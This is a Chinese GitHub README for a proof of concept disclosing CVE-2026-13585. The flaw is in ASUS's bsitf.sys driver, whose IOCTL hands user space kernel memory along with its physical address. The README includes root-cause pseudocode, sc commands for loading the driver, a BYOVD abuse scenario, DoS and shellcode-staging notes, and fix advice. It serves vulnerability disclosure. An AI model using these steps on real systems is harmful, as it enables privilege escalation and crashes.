416rehman/asus-bsitf-0-day-poc
GitHub: 416rehman/asus-bsitf-0-day-poc
CVE-2026-13585 的概念验证工具,演示华硕 bsitf.sys 内核驱动因 IOCTL 接口缺乏访问控制而导致的内核内存映射与提权漏洞。
Stars: 5 | Forks: 2
# POC - ASUS bsitf.sys 内核内存映射至用户态
[CVE-2026-13585](https://www.cve.org/CVERecord?id=CVE-2026-13585)
## 摘要
ASUS `bsitf.sys`(也以 `AsusBSItf.sys` 名称分发)内核驱动程序暴露了 IOCTL `0x222808`,该接口会分配由攻击者控制大小的物理连续内核内存,将其映射到调用进程的地址空间中并赋予完全的读写权限,最后将用户态虚拟地址和物理地址都返回给调用者。
该设备需要管理员权限才能打开,这使其成为一种管理员到内核的提权。在 BYOVD(Bring Your Own Vulnerable Driver)场景下,已经获得管理员权限的攻击者(例如,通过社会工程学或利用其他漏洞)可以加载这个合法签名的驱动程序,从而无需内核漏洞即可获得任意内核内存访问权限。
## 受影响版本
| 版本 | 文件名 | 包 | 池类型 |
|---------|----------|---------|-----------|
| 3.0.10.0 | bsitf.sys | ASUS Business Manager / AbmSvcPackage | `NonPagedPool` (可执行) |
| 3.1.10.0 | AsusBSItf.sys | ASUS SCI / AsusSoftwareManager | `NonPagedPoolNx` |
| 3.1.25.0 | AsusBSItf.sys | ASUS SCI / AsusSoftwareManager | `NonPagedPoolNx` |
所有版本均创建设备 `\Device\bsitf` 并带有符号链接 `\DosDevices\bsitf`。
## 影响
映射的缓冲区是一个全新的内核池分配,而不是任意的内核地址。调用者可以控制其内容,但无法控制其位置。与真正的任意内核读写相比,这限制了漏洞的可利用性。
- **内核池耗尽 (DoS)** — 重复分配而不释放将耗尽 `NonPagedPool`,导致 BSOD。没有强加大小上限或分配限制。
- **物理地址泄露** — IOCTL 返回每次分配的物理地址,这可用作信息泄露或用于基于 DMA 的攻击。
- **可执行内核内存暂存(仅限 v3.0.x)** — 在 3.0.10.0 版本中,池类型为 `NonPagedPool`(可执行)。可以从用户态将 Shellcode 写入映射的缓冲区,但需要另一个单独的漏洞才能将内核执行重定向到该缓冲区地址。
在 v3.1.x 版本(`NonPagedPoolNx`)上,缓冲区是不可执行的,实际影响仅限于 DoS 和物理地址泄露。
## 根本原因
分派处理程序中的 IOCTL `0x222808` 在没有输入验证的情况下执行以下操作:
```
alloc_size = *(DWORD *)Irp->AssociatedIrp.SystemBuffer; // user-controlled
kernel_va = MmAllocateContiguousMemory(alloc_size, 0xffffffff);
mdl = IoAllocateMdl(kernel_va, alloc_size, FALSE, FALSE, NULL);
MmBuildMdlForNonPagedPool(mdl);
user_va = MmMapLockedPages(mdl, UserMode);
output[0] = user_va; // usermode virtual address
output[1] = physical_addr; // physical address of allocation
```
没有对分配大小、未完成分配数量或输入验证进行检查。打开该设备需要管理员权限,但一旦获取了句柄,IOCTL 的使用就不受限制。
## 概念验证
### 编译
```
cargo build --release
```
### 加载驱动
```
sc create bsitf binPath= "C:\path\to\bsitf.sys" type= kernel
sc start bsitf
```
### 运行
```
# 默认: 0x1000 (4KB) 分配
cargo run --release
# 自定义大小 (hex)
cargo run --release -- 10000
```
### 预期输出
```
[*] bsitf.sys kernel memory mapping PoC
[*] target alloc size: 0x1000
[+] device handle acquired
[*] allocating 0x1000 bytes of kernel memory via IOCTL 0x222808
[+] kernel allocation succeeded:
usermode VA: 0x000001D856F90000
physical addr: 0x00000000BF6CB000
[*] original contents (first 16 bytes):
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[*] writing 0xCC pattern (int3 sled)...
[+] readback: usermode R/W CONFIRMED
[*] freeing kernel mapping via IOCTL 0x22280C
[+] mapping freed successfully
```
在 Windows 11 24H2 上测试(需要管理员权限)。
## 修复建议
1. 使用合理的上限验证分配大小
2. 限制每个句柄的未完成分配数量
3. 不要将内核分配映射到用户态地址空间
4. 不要将物理地址返回给用户态调用者
5. 在所有版本上使用 `NonPagedPoolNx`
## 时间线
| 日期 | 事件 |
|------|-------|
| 2026-04-06 | 通过自动化分析发现漏洞 |
| 2026-04-06 | 在 Windows 11 24H2 上确认了 PoC |
| 2026-04-06 | 向 ASUS PSIRT 提交报告 |
## 参考
- [CWE-782:暴露的 IOCTL 缺乏访问控制](https://cwe.mitre.org/data/definitions/782.html)
- 设备:`\Device\bsitf`,符号链接:`\DosDevices\bsitf`
- 分派处理程序:`FUN_140001070`
## 免责声明
本概念验证仅供授权的安全研究和负责任的披露目的使用。请勿对您不拥有或未获得明确测试许可的系统使用此代码。
标签:0day挖掘, BYOVD, PoC, Web报告查看器, Windows驱动, 内核安全, 可视化界面, 提权, 暴力破解, 通知系统